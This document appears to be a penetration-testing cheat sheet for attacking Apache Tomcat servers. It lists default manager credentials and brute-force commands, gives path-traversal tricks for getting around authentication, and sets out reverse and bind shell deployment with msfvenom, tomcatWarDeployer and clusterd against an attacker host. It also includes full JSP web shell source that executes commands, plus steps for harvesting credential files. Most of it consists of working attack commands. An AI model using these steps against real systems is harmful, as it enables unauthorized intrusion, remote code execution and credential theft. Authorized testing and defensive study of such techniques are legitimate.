## Discovery

* It usually runs on **port 8080**
* **Common Tomcat error:**

## Enumeration

### Version

```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat 

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author" 
```

### Locate manager files

It's interesting to find where are the pages **`/manager`** and **`/host-manager`** as they might have a different name. You can search them with a brute-force.

### Username Enum

In some versions prior to Tomcat6 you could enumerate users:

```bash
msf> use auxiliary/scanner/http/tomcat_enum
```

### Default credentials

The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are:

* admin:admin
* tomcat:tomcat
* admin:\<NOTHING>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat

You could test these and more using:

```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```

Another **interesting Tomcat** path is _**/manager/status**_, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _**/manager/html.**_

### Bruteforce

```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```

## Vulns

### Password backtrace disclosure

Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**.

### Double URL encode

A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**

In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_

Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\
To access to backdoor you might also need to use the double urlencode trick.

### /examples

The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).

* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp

### Path Traversal (..;/)

In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/`

So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html`

**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`

## RCE

Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.

### Limitations

You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post)section).

```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```

### Metasploit

```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```

### MSFVenom Reverse Shell

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```

Then, **upload the `revshell.war` file and access to it (**_**/revshell/**_**)**

### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)

In some scenarios this doesn't work (for example old versions of sun)

#### Download

```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```

#### Reverse shell

```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```

#### Bind shell

```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```

### Using [Culsterd](https://github.com/hatRiot/clusterd)

```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```

### Manual method - Web shell

Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):

```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>
```

```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```

You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)

### Manual Method 2

Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:

```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp 
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```

## POST

Name of Tomcat credentials file is _tomcat-users.xml_

```bash
find / -name tomcat-users.xml 2>/dev/null
```

Other ways to gather Tomcat credentials:

```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
